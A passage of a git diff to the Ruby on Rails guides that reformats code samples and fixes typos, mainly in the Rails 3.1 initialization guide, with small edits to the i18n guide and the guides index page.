hello_html: <b>hello!</b> + title: + html: <b>title!</b> + +# app/views/home/index.html.erb +<div><%= t('welcome') %></div> +<div><%= raw t('welcome') %></div> +<div><%= t('hello_html') %></div> +<div><%= t('title.html') %></div> +</ruby> + +!images/i18n/demo_html_safe.png(i18n demo html safe)! + h3. How to Store your Custom Translations The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] @@ -796,7 +831,6 @@ h5. Active Support Methods * +Array#to_sentence+ uses format settings as given in the "support.array":https://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. - h3. Customize your I18n Setup h4. Using Different Backends @@ -809,7 +843,7 @@ That does not mean you're stuck with these limitations, though. The Ruby I18n ge I18n.backend = Globalize::Backend::Static.new </ruby> -You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the ActiveRecord backend and fall back to the (default) Simple backend: +You can also use the Chain backend to chain multiple backends together. This is useful when you want to use standard translations with a Simple backend but store custom application translations in a database or other backends. For example, you could use the Active Record backend and fall back to the (default) Simple backend: <ruby> I18n.backend = I18n::Backend::Chain.new(I18n::Backend::ActiveRecord.new, I18n.backend) diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index b48488d8a2..c9a8c4fa5c 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -30,7 +30,6 @@ Ruby on Rails Guides <% content_for :index_section do %> <div id="subCol"> <dl> - <dd class="warning">Rails Guides are a result of the ongoing <a href="http://hackfest.rubyonrails.org">Guides hackfest</a>, and a work in progress.</dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> @@ -124,13 +123,17 @@ Ruby on Rails Guides <p>This guide covers the basic configuration settings for a Rails application.</p> <% end %> -<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html', :work_in_progress => true) do %> +<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %> <p>This guide covers the command line tools and rake tasks provided by Rails.</p> <% end %> <%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %> <p>Various caching techniques provided by Rails.</p> <% end %> + +<%= guide('Asset Pipeline', 'asset_pipeline.html') do %> + <p>This guide documents the asset pipeline.</p> +<% end %> </dl> <h3>Extending Rails</h3> @@ -170,6 +173,10 @@ Ruby on Rails Guides <h3>Release Notes</h3> <dl> +<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %> + <p>Release notes for Rails 3.1.</p> +<% end %> + <%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %> <p>Release notes for Rails 3.0.</p> <% end %> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 638830cd83..f88405a2fd 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -1,13 +1,13 @@ h2. The Rails Initialization Process -This guide explains the internals of the initialization process in Rails works as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. +This guide explains the internals of the initialization process in Rails as of Rails 3.1. It is an extremely in-depth guide and recommended for advanced Rails developers. * Using +rails server+ * Using Passenger endprologue. -This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. +This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -20,40 +20,40 @@ h4. +bin/rails+ The actual +rails+ command is kept in _bin/rails_ at the and goes like this: <ruby> - #!/usr/bin/env ruby - - begin - require "rails/cli" - rescue LoadError - railties_path = File.expand_path('../../railties/lib', __FILE__) - $:.unshift(railties_path) - require "rails/cli" - end +#!/usr/bin/env ruby + +begin + require "rails/cli" +rescue LoadError + railties_path = File.expand_path('../../railties/lib', __FILE__) + $:.unshift(railties_path) + require "rails/cli" +end </ruby> This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again. -h4. +railites/lib/rails/cli.rb+ +h4. +railties/lib/rails/cli.rb+ This file looks like this: <ruby> - require 'rbconfig' - require 'rails/script_rails_loader' +require 'rbconfig' +require 'rails/script_rails_loader' - # If we are inside a Rails application this method performs an exec and thus - # the rest of this script is not run. - Rails::ScriptRailsLoader.exec_script_rails! +# If we are inside a Rails application this method performs an exec and thus +# the rest of this script is not run. +Rails::ScriptRailsLoader.exec_script_rails! - require 'rails/ruby_version_check' - Signal.trap("INT") { puts; exit } +require 'rails/ruby_version_check' +Signal.trap("INT") { puts; exit } - if ARGV.first == 'plugin' - ARGV.shift - require 'rails/commands/plugin_new' - else - require 'rails/commands/application' - end +if ARGV.first == 'plugin' + ARGV.shift + require 'rails/commands/plugin_new' +else + require 'rails/commands/application' +end </ruby> The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+. @@ -71,51 +71,51 @@ module Rails end </ruby> -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ console, we'll see that when we get to the +in_rails_application?+ method. +The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. Back in +rails/cli+, the next line is this: <ruby> - Rails::ScriptRailsLoader.exec_script_rails! +Rails::ScriptRailsLoader.exec_script_rails! </ruby> This method is defined in +rails/script_rails_loader+ like this: <ruby> - def self.exec_script_rails! - cwd = Dir.pwd - return unless in_rails_application? || in_rails_application_subdirectory? - exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? - Dir.chdir("..") do - # Recurse in a chdir block: if the search fails we want to be sure - # the application is generated in the original working directory. - exec_script_rails! unless cwd == Dir.pwd - end - rescue SystemCallError - # could not chdir, no problem just return +def self.exec_script_rails! + cwd = Dir.pwd + return unless in_rails_application? || in_rails_application_subdirectory? + exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? + Dir.chdir("..") do + # Recurse in a chdir block: if the search fails we want to be sure + # the application is generated in the original working directory. + exec_script_rails! unless cwd == Dir.pwd end +rescue SystemCallError + # could not chdir, no problem just return +end </ruby> This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this: <ruby> - def self.in_rails_application? - File.exists?(SCRIPT_RAILS) - end +def self.in_rails_application? + File.exists?(SCRIPT_RAILS) +end </ruby> The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used: <ruby> - def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) - File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent) - end +def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) + File.exists?(File.join(path, SCRIPT_RAILS)) || !path.root? && in_rails_application_subdirectory?(path.parent) +end </ruby> This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run: <ruby> - exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? +exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? </ruby> This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server". @@ -125,9 +125,9 @@ h4. +script/rails+ This file looks like this: <ruby> - APP_PATH = File.expand_path('../../config/application', __FILE__) - require File.expand_path('../../config/boot', __FILE__) - require 'rails/commands' +APP_PATH = File.expand_path('../../config/application', __FILE__) +require File.expand_path('../../config/boot', __FILE__) +require 'rails/commands' </ruby> The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. @@ -137,19 +137,19 @@ h4. +config/boot.rb+ +config/boot.rb+ contains this: <ruby> - require 'rubygems' +require 'rubygems' - # Set up gems listed in the Gemfile. - gemfile = File.expand_path('../../Gemfile', __FILE__) - begin - ENV['BUNDLE_GEMFILE'] = gemfile - require 'bundler' - Bundler.setup - rescue Bundler::GemNotFound => e - STDERR.puts e.message - STDERR.puts "Try running `bundle install`." - exit! - end if File.exist?(gemfile) +# Set up gems listed in the Gemfile. +gemfile = File.expand_path('../../Gemfile', __FILE__) +begin + ENV['BUNDLE_GEMFILE'] = gemfile + require 'bundler' + Bundler.setup +rescue Bundler::GemNotFound => e + STDERR.puts e.message + STDERR.puts "Try running `bundle install`." + exit! +end if File.exist?(gemfile) </ruby> In a standard Rails application, there's a +Gemfile+ which declares all dependencies of the application. +config/boot.rb+ sets +ENV["BUNDLE_GEMFILE"]+ to the location of this file, then requires Bundler and calls +Bundler.setup+ which adds the dependencies of the application (including all the Rails parts) to the load path, making them available for the application to load. The gems that a Rails 3.1 application depends on are as follows: @@ -186,34 +186,35 @@ h4. +rails/commands.rb+ Once +config/boot.rb+ has finished, the next file that is required is +rails/commands+ which will execute a command based on the arguments passed in. In this case, the +ARGV+ array simply contains +server+ which is extracted into the +command+ variable using these lines: <ruby> - aliases = { - "g" => "generate", - "c" => "console", - "s" => "server", - "db" => "dbconsole" - } +aliases = { + "g" => "generate", + "c" => "console", + "s" => "server", + "db" => "dbconsole", + "r" => "runner" +} - command = ARGV.shift - command = aliases[command] || command +command = ARGV.shift +command = aliases[command] || command </ruby> If we used <tt>s</tt> rather than +server+, Rails will use the +aliases+ defined in the file and match them to their respective commands. With the +server+ command, Rails will run this code: <ruby> - when 'server' - # Change to the application's path if there is no config.ru file in current dir. - # This allows us to run script/rails server from other directories, but still get - # the main config.ru and properly set the tmp directory. - Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) - - require 'rails/commands/server' - Rails::Server.new.tap { |server| - # We need to require application after the server sets environment, - # otherwise the --environment option given to the server won't propagate. - require APP_PATH - Dir.chdir(Rails.application.root) - server.start - } +when 'server' + # Change to the application's path if there is no config.ru file in current dir. + # This allows us to run script/rails server from other directories, but still get + # the main config.ru and properly set the tmp directory. + Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru")) + + require 'rails/commands/server' + Rails::Server.new.tap { |server| + # We need to require application after the server sets environment, + # otherwise the --environment option given to the server won't propagate. + require APP_PATH + Dir.chdir(Rails.application.root) + server.start + } </ruby> This file will change into the root of the directory (a path two directories back from +APP_PATH+ which points at +config/application.rb+), but only if the +config.ru+ file isn't found. This then requires +rails/commands/server+ which requires +action_dispatch+ and sets up the +Rails::Server+ class. @@ -239,10 +240,10 @@ The +methods.rb+ file is responsible for defining methods such as +camelize+, +u In this file there are a lot of lines such as this inside the +ActiveSupport+ module: <ruby> - autoload :Inflector +autoload :Inflector </ruby> -Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. +Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport. @@ -263,10 +264,10 @@ h4. +rails/commands/server.rb+ The +Rails::Server+ class is defined in this file as inheriting from +Rack::Server+. When +Rails::Server.new+ is called, this calls the +initialize+ method in +rails/commands/server.rb+: <ruby> - def initialize(*) - super - set_environment - end +def initialize(*) + super + set_environment +end </ruby> Firstly, +super+ is called which calls the +initialize+ method on +Rack::Server+. @@ -278,10 +279,10 @@ h4. Rack: +lib/rack/server.rb+ The +initialize+ method in +Rack::Server+ simply sets a couple of variables: <ruby> - def initialize(options = nil) - @options = options - @app = options[:app] if options && options[:app] - end +def initialize(options = nil) + @options = options + @app = options[:app] if options && options[:app] +end </ruby> In this case, +options+ will be +nil+ so nothing happens in this method. @@ -289,69 +290,69 @@ In this case, +options+ will be +nil+ so nothing happens in this method. After +super+ has finished in +Rack::Server+, we jump back to +rails/commands/server.rb+. At this point, +set_environment+ is called within the context of the +Rails::Server+ object and this method doesn't appear to do much at first glance: <ruby> - def set_environment - ENV["RAILS_ENV"] ||= options[:environment] - end +def set_environment + ENV["RAILS_ENV"] ||= options[:environment] +end </ruby> In fact, the +options+ method here does quite a lot. This method is defined in +Rack::Server+ like this: <ruby> - def options - @options ||= parse_options(ARGV) - end +def options + @options ||= parse_options(ARGV) +end </ruby> Then +parse_options+ is defined like this: <ruby> - def parse_options(args) - options = default_options +def parse_options(args) + options = default_options - # Don't evaluate CGI ISINDEX parameters. - # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html - args.clear if ENV.include?("REQUEST_METHOD") + # Don't evaluate CGI ISINDEX parameters. + # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html + args.clear if ENV.include?("REQUEST_METHOD") - options.merge! opt_parser.parse! args - options[:config] = ::File.expand_path(options[:config]) - ENV["RACK_ENV"] = options[:environment] - options - end + options.merge! opt_parser.parse! args + options[:config] = ::File.expand_path(options[:config]) + ENV["RACK_ENV"] = options[:environment] + options +end </ruby> With the +default_options+ set to this: <ruby> - def default_options - { - :environment => ENV['RACK_ENV'] || "development", - :pid => nil, - :Port => 9292, - :Host => "0.0.0.0", - :AccessLog => [], - :config => "config.ru" - } - end +def default_options + { + :environment => ENV['RACK_ENV'] || "development", + :pid => nil, + :Port => 9292, + :Host => "0.0.0.0", + :AccessLog => [], + :config => "config.ru" + } +end </ruby> There is no +REQUEST_METHOD+ key in +ENV+ so we can skip over that line. The next line merges in the options from +opt_parser+ which is defined plainly in +Rack::Server+ <ruby> - def opt_parser - Options.new - end +def opt_parser + Options.new +end </ruby> The class *is* defined in +Rack::Server+, but is overwritten in +Rails::Server+ to take different arguments. Its +parse!+ method begins like this: <ruby> - def parse!(args) - args, options = args.dup, {} +def parse!(args) + args, options = args.dup, {} - opt_parser = OptionParser.new do |opts| - opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" - opts.on("-p", "--port=port", Integer, - "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } + opt_parser = OptionParser.new do |opts| + opts.banner = "Usage: rails server [mongrel, thin, etc] [options]" + opts.on("-p", "--port=port", Integer, + "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v } ... </ruby> @@ -362,100 +363,101 @@ h4. +Rails::Server#start+ This method is defined like this: <ruby> - def start - puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" - puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}" - puts "=> Call with -d to detach" unless options[:daemonize] - trap(:INT) { exit } - puts "=> Ctrl-C to shutdown server" unless options[:daemonize] - - #Create required tmp directories if not found - %w(cache pids sessions sockets).each do |dir_to_make| - FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) - end - - super - ensure - # The '-h' option calls exit before @options is set. - # If we call 'options' with it unset, we get double help banners. - puts 'Exiting' unless @options && options[:daemonize] +def start + puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}" + puts "=> Rails #{Rails.version} application starting in #{Rails.env} on http://#{options[:Host]}:#{options[:Port]}" + puts "=> Call with -d to detach" unless options[:daemonize] + trap(:INT) { exit } + puts "=> Ctrl-C to shutdown server" unless options[:daemonize] + + #Create required tmp directories if not found + %w(cache pids sessions sockets).each do |dir_to_make| + FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make)) end + + super +ensure + # The '-h' option calls exit before @options is set. + # If we call 'options' with it unset, we get double help banners. + puts 'Exiting' unless @options && options[:daemonize] +end </ruby> This is where the first output of the Rails initialization happens. This method creates a trap for +INT+ signals, so if you +CTRL+C+ the server, it will exit the process. As we can see from the code here, it will create the +tmp/cache+, +tmp/pids+, +tmp/sessions+ and +tmp/sockets+ directories if they don't already exist prior to calling +super+. The +super+ method will call +Rack::Server.start+ which begins its definition like this: <ruby> - def start - if options[:warn] - $-w = true - end +def start + if options[:warn] + $-w = true + end - if includes = options[:include] - $LOAD_PATH.unshift(*includes) - end + if includes = options[:include] + $LOAD_PATH.unshift(*includes) + end - if library = options[:require] - require library - end + if library = options[:require] + require library + end - if options[:debug] - $DEBUG = true - require 'pp' - p options[:server] - pp wrapped_app - pp app - end + if options[:debug] + $DEBUG = true + require 'pp' + p options[:server] + pp wrapped_app + pp app + end +end </ruby> In a Rails application, these options are not set at all and therefore aren't used at all. The first line of code that's executed in this method is a call to this method: <ruby> - wrapped_app +wrapped_app </ruby> This method calls another method: <ruby> - @wrapped_app ||= build_app app +@wrapped_app ||= build_app app </ruby> Then the +app+ method here is defined like so: <ruby> - def app - @app ||= begin - if !::File.exist? options[:config] - abort "configuration #{options[:config]} not found" - end - - app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) - self.options.merge! options - app +def app + @app ||= begin + if !::File.exist? options[:config] + abort "configuration #{options[:config]} not found" end + + app, options = Rack::Builder.parse_file(self.options[:config], opt_parser) + self.options.merge! options + app end +end </ruby> The +options[:config]+ value defaults to +config.ru+ which contains this: <ruby> - # This file is used by Rack-based servers to start the application. +# This file is used by Rack-based servers to start the application. - require ::File.expand_path('../config/environment', __FILE__) - run YourApp::Application +require ::File.expand_path('../config/environment', __FILE__) +run YourApp::Application </ruby> The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> - app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> -The <ruby>initialize</ruby> method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: +The +initialize+ method will take the block here and execute it within an instance of +Rack::Builder+. This is where the majority of the initialization process of Rails happens. The chain of events that this simple line sets off will be the focus of a large majority of this guide. The +require+ line for +config/environment.rb+ in +config.ru+ is the first to run: <ruby> - require ::File.expand_path('../config/environment', __FILE__) +require ::File.expand_path('../config/environment', __FILE__) </ruby> h4. +config/environment.rb+ @@ -475,7 +477,7 @@ h3. Loading Rails The next line in +config/application.rb+ is: <ruby> - require 'rails/all' +require 'rails/all' </ruby> h4. +railties/lib/rails/all.rb+ @@ -483,20 +485,20 @@ h4. +railties/lib/rails/all.rb+ This file is responsible for requiring all the individual parts of Rails like so: <ruby> - require "rails" +require "rails" - %w( +%w( active_record action_controller action_mailer active_resource rails/test_unit - ).each do |framework| - begin - require "#{framework}/railtie" - rescue LoadError - end +).each do |framework| + begin + require "#{framework}/railtie" + rescue LoadError end +end </ruby> First off the line is the +rails+ require itself. @@ -511,16 +513,16 @@ h4. +railties/lib/rails/ruby_version_check.rb+ This file simply checks if the Ruby version is less than 1.8.7 or is 1.9.1 and raises an error if that is the case. Rails 3 simply will not run on earlier versions of Ruby than 1.8.7 or 1.9.1. -NOTE: You should always endeavour to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade. +NOTE: You should always endeavor to run the latest version of Ruby with your Rails applications. The benefits are many, including security fixes and the like, and very often there is a speed increase associated with it. The caveat is that you could have code that potentially breaks on the latest version, which should be fixed to work on the latest version rather than kept around as an excuse not to upgrade. h4. +active_support/core_ext/kernel/reporting.rb+ This is the first of the many Active Support core extensions that come with Rails. This one in particular defines methods in the +Kernel+ module which is mixed in to the +Object+ class so the methods are available on +main+ and can therefore be called like this: <ruby> - silence_warnings do - # some code - end +silence_warnings do + # some code +end </ruby> These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. @@ -635,14 +637,14 @@ h4. +railties/lib/rails/rack.rb+ The final file to be loaded by +railties/lib/rails/configuration.rb+ is +rails/rack+ which defines some simple autoloads: <ruby> - module Rails - module Rack - autoload :Debugger, "rails/rack/debugger" - autoload :Logger, "rails/rack/logger" - autoload :LogTailer, "rails/rack/log_tailer" - autoload :Static, "rails/rack/static" - end +module Rails + module Rack + autoload :Debugger, "rails/rack/debugger" + autoload :Logger, "rails/rack/logger" + autoload :LogTailer, "rails/rack/log_tailer" + autoload :Static, "rails/rack/static" end +end </ruby> Once this file is finished loading, then the +Rails::Configuration+ class is initialized. This completes the loading of +railties/lib/rails/configuration.rb+ and now we jump back to the loading of +railties/lib/rails/railtie.rb+, where the next file loaded is +active_support/inflector+. @@ -652,17 +654,17 @@ h4. +activesupport/lib/active_support/inflector.rb+ +active_support/inflector.rb+ requires a series of file which are responsible for setting up the basics for knowing how to pluralize and singularize words. These files are: <ruby> - require 'active_support/inflector/inflections' - require 'active_support/inflector/transliterate' - require 'active_support/inflector/methods' +require 'active_support/inflector/inflections' +require 'active_support/inflector/transliterate' +require 'active_support/inflector/methods' - require 'active_support/inflections' - require 'active_support/core_ext/string/inflections' +require 'active_support/inflections' +require 'active_support/core_ext/string/inflections' </ruby> -The +active_support/inflector/methods+ file has already been required by +active_support/autoload+ and so won't be loaded again here. +The +active_support/inflector/methods+ file has already been required by +active_support/autoload+ and so won't be loaded again here. The +activesupport/lib/active_support/inflector/inflections.rb+ is required by +active_support/inflector/methods+. -h4. +activesupport/lib/active_support/inflector/inflections.rb+ +h4. +active_support/inflections+ This file references the +ActiveSupport::Inflector+ constant which isn't loaded by this point. But there were autoloads set up in +activesupport/lib/active_support.rb+ which will load the file which loads this constant and so then it will be defined. Then this file defines pluralization and singularization rules for words in Rails. This is how Rails knows how to pluralize "tomato" to "tomatoes". @@ -721,22 +723,22 @@ h4. +activesupport/lib/active_support/i18n_railtie.rb+ This file is the first file that sets up configuration with these lines inside the class: <ruby> - class Railtie < Rails::Railtie - config.i18n = ActiveSupport::OrderedOptions.new - config.i18n.railties_load_path = [] - config.i18n.load_path = [] - config.i18n.fallbacks = ActiveSupport::OrderedOptions.new +class Railtie < Rails::Railtie + config.i18n = ActiveSupport::OrderedOptions.new + config.i18n.railties_load_path = [] + config.i18n.load_path = [] + config.i18n.fallbacks = ActiveSupport::OrderedOptions.new </ruby> By inheriting from +Rails::Railtie+ the +Rails::Railtie#inherited+ method is called: <ruby> - def inherited(base) - unless base.abstract_railtie? - base.send(:include, Railtie::Configurable) - subclasses << base - end +def inherited(base) + unless base.abstract_railtie? + base.send(:include, Railtie::Configurable) + subclasses << base end +end </ruby> This first checks if the Railtie that's inheriting it is a component of Rails itself: @@ -759,19 +761,18 @@ def subclasses end </ruby> - The +config+ method used at the top of +I18n::Railtie+ is defined on +Rails::Railtie+ and is defined like this: <ruby> - def config - @config ||= Railtie::Configuration.new - end +def config + @config ||= Railtie::Configuration.new +end </ruby> At this point, that +Railtie::Configuration+ constant is automatically loaded which causes the +rails/railties/configuration+ file to be loaded. The line for this is this particular line in +railties/lib/rails/railtie.rb+: <ruby> - autoload :Configuration, "rails/railtie/configuration" +autoload :Configuration, "rails/railtie/configuration" </ruby> h4. +railties/lib/rails/railtie/configuration.rb+ @@ -781,15 +782,15 @@ This file begins with a require out to +rails/configuration+ which has already b This file defines the +Rails::Railtie::Configuration+ class which is responsible for providing a way to easily configure railties and it's the +initialize+ method here which is called by the +config+ method back in the +i18n_railtie.rb+ file. The methods on this object don't exist, and so are rescued by the +method_missing+ defined further down in +configuration.rb+: <ruby> - def method_missing(name, *args, &blk) - if name.to_s =~ /=$/ - @@options[$`.to_sym] = args.first - elsif @@options.key?(name) - @@options[name] - else - super - end +def method_missing(name, *args, &blk) + if name.to_s =~ /=$/ + @@options[$`.to_sym] = args.first + elsif @@options.key?(name) + @@options[name] + else + super end +end </ruby> So therefore when an option is referred to it simply stores the value as the key if it's used in a setter context, or retrieves it if used in a getter context. Nothing fancy going on there. @@ -799,21 +800,21 @@ h4. Back to +activesupport/lib/active_support/i18n_railtie.rb+ After the configuration method the +reloader+ method is defined, and then the first of of Railties' initializers is defined: +i18n.callbacks+. <ruby> - initializer "i18n.callbacks" do - ActionDispatch::Reloader.to_prepare do - I18n::Railtie.reloader.execute_if_updated - end +initializer "i18n.callbacks" do + ActionDispatch::Reloader.to_prepare do + I18n::Railtie.reloader.execute_if_updated end +end </ruby> The +initializer+ method (from the +Rails::Initializable+ module) here doesn't run the block, but rather stores it to be run later on: <ruby> - def initializer(name, opts = {}, &blk) - raise ArgumentError, "A block must be passed when defining an initializer" unless blk - opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] } - initializers << Initializer.new(name, nil, opts, &blk) - end +def initializer(name, opts = {}, &blk) + raise ArgumentError, "A block must be passed when defining an initializer" unless blk + opts[:after] ||= initializers.last.name unless initializers.empty? || initializers.find { |i| i.name == opts[:before] } + initializers << Initializer.new(name, nil, opts, &blk) +end </ruby> An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer]. @@ -821,83 +822,83 @@ An initializer can be configured to run before or after another initializer, whi The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables: <ruby> - def initialize(name, context, options, &block) - @name, @context, @options, @block = name, context, options, block - end +def initialize(name, context, options, &block) + @name, @context, @options, @block = name, context, options, block +end </ruby> Once this +initialize+ method is finished, the object is added to the object the +initializers+ method returns: <ruby> - def initializers - @initializers ||= self.class.initializers_for(self) - end +def initializers + @initializers ||= self.class.initializers_for(self) +end </ruby> If +@initializers+ isn't set (which it won't be at this point), the +intializers_for+ method will be called for this class. <ruby> - def initializers_for(binding) - Collection.new(initializers_chain.map { |i| i.bind(binding) }) - end +def initializers_for(binding) + Collection.new(initializers_chain.map { |i| i.bind(binding) }) +end </ruby> The +Collection+ class in +railties/lib/rails/initializable.rb+ inherits from +Array+ and includes the +TSort+ module which is used to sort out the order of the initializers based on the order they are placed in. The +initializers_chain+ method referenced in the +initializers_for+ method is defined like this: -<rub> - def initializers_chain - initializers = Collection.new - ancestors.reverse_each do | klass | - next unless klass.respond_to?(:initializers) - initializers = initializers + klass.initializers - end - initializers +<ruby> +def initializers_chain + initializers = Collection.new + ancestors.reverse_each do | klass | + next unless klass.respond_to?(:initializers) + initializers = initializers + klass.initializers end + initializers +end </ruby> This method collects the initializers from the ancestors of this class and adds them to a new +Collection+ object using the <tt>+</tt> method which is defined like this for the <tt>Collection</tt> class: <ruby> - def +(other) - Collection.new(to_a + other.to_a) - end +def +(other) + Collection.new(to_a + other.to_a) +end </ruby> -So this <tt>+</tt> method is overriden to return a new collection comprising of the existing collection as an array and then using the <tt>Array#+</tt> method combines these two collections, returning a "super" +Collection+ object. In this case, the only initializer that's going to be in this new +Collection+ object is the +i18n.callbacks+ initializer. +So this <tt>+</tt> method is overridden to return a new collection comprising of the existing collection as an array and then using the <tt>Array#+</tt> method combines these two collections, returning a "super" +Collection+ object. In this case, the only initializer that's going to be in this new +Collection+ object is the +i18n.callbacks+ initializer. The next method to be called after this +initializer+ method is the +after_initialize+ method on the +config+ object, which is defined like this: <ruby> - def after_initialize(&block) - ActiveSupport.on_load(:after_initialize, :yield => true, &block) - end +def after_initialize(&block) + ActiveSupport.on_load(:after_initialize, :yield => true, &block) +end </ruby> The +on_load+ method here is provided by the +active_support/lazy_load_hooks+ file which was required earlier and is defined like this: <ruby> - def self.on_load(name, options = {}, &block) - if base = @loaded[name] - execute_hook(base, options, block) - else - @load_hooks[name] << [block, options] - end +def self.on_load(name, options = {}, &block) + if base = @loaded[name] + execute_hook(base, options, block) + else + @load_hooks[name] << [block, options] end +end </ruby> The +@loaded+ variable here is a hash containing elements representing the different components of Rails that have been loaded at this stage. Currently, this hash is empty. So the +else+ is executed here, using the +@load_hooks+ variable defined in +active_support/lazy_load_hooks+: <ruby> - @load_hooks = Hash.new {|h,k| h[k] = [] } +@load_hooks = Hash.new {|h,k| h[k] = [] } </ruby> This defines a new hash which has keys that default to empty arrays. This saves Rails from having to do something like this instead: <ruby> - @load_hooks[name] = [] - @load_hooks[name] << [block, options] +@load_hooks[name] = [] +@load_hooks[name] << [block, options] </ruby> The value added to this array here consists of the block and options passed to +after_initialize+. 